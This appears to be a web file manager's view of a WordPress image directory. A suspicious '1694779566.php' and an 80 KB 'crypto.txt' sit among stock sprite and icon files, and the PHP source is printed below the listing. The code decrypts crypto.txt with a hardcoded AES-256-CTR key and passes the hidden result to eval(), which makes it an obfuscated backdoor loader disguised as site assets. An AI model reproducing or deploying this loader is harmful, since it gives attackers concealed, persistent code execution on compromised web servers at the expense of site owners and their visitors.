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Name	Size	Permission	Date
crystal	[ DIR ]	drwxr-xr-x	2021-01-05 18:46
media	[ DIR ]	drwxr-xr-x	2021-01-05 18:46
smilies	[ DIR ]	drwxr-xr-x	2021-01-05 18:46
wlw	[ DIR ]	drwxr-xr-x	2021-01-05 18:46
1694779566.php	2.53 KB	-rw-r--r--	2023-09-15 12:06
admin-bar-sprite-2x.png	3.91 KB	-rw-r--r--	2021-01-05 18:46
admin-bar-sprite.png	2.41 KB	-rw-r--r--	2021-01-05 18:46
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arrow-pointer-blue.png	793 B	-rw-r--r--	2021-01-05 18:46
blank.gif	43 B	-rw-r--r--	2021-01-05 18:46
crypto.txt	79.33 KB	-rw-r--r--	2023-09-15 12:06
down_arrow-2x.gif	84 B	-rw-r--r--	2021-01-05 18:46
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wpicons-2x.png	14.58 KB	-rw-r--r--	2021-01-05 18:46
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xit-2x.gif	825 B	-rw-r--r--	2021-01-05 18:46
xit.gif	181 B	-rw-r--r--	2021-01-05 18:46

Rename

<?php
    class UnsafeCrypto
    {
        const METHOD = 'aes-256-ctr';
        
        /**
         * Encrypts (but does not authenticate) a message
         * 
         * @param string $message - plaintext message
         * @param string $key - encryption key (raw binary expected)
         * @param boolean $encode - set to TRUE to return a base64-encoded 
         * @return string (raw binary)
         */
        public static function encrypt($message, $key, $encode = false)
        {
            $nonceSize = openssl_cipher_iv_length(self::METHOD);
            $nonce = openssl_random_pseudo_bytes($nonceSize);
            
            $ciphertext = openssl_encrypt(
                $message,
                self::METHOD,
                $key,
                OPENSSL_RAW_DATA,
                $nonce
            );
            
            // Now let's pack the IV and the ciphertext together
            // Naively, we can just concatenate
            if ($encode) {
                return base64_encode($nonce.$ciphertext);
            }
            return $nonce.$ciphertext;
        }

/**
         * Decrypts (but does not verify) a message
         * 
         * @param string $message - ciphertext message
         * @param string $key - encryption key (raw binary expected)
         * @param boolean $encoded - are we expecting an encoded string?
         * @return string
         */
        public static function decrypt($message, $key, $encoded = false)
        {
            if ($encoded) {
                $message = base64_decode($message, true);
                if ($message === false) {
                    throw new Exception('Encryption failure');
                }
            }

$nonceSize = openssl_cipher_iv_length(self::METHOD);
            $nonce = mb_substr($message, 0, $nonceSize, '8bit');
            $ciphertext = mb_substr($message, $nonceSize, null, '8bit');
            
            $plaintext = openssl_decrypt(
                $ciphertext,
                self::METHOD,
                $key,
                OPENSSL_RAW_DATA,
                $nonce
            );
            
            return $plaintext;
        }
    }

$text = file_get_contents("./crypto.txt");
    $key = hex2bin('000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f');

// $encrypted = UnsafeCrypto::encrypt($text, $key);
    // file_put_contents("./crypto.txt", $encrypted);
    $decrypted = UnsafeCrypto::decrypt($text, $key);

eval($decrypted);
?>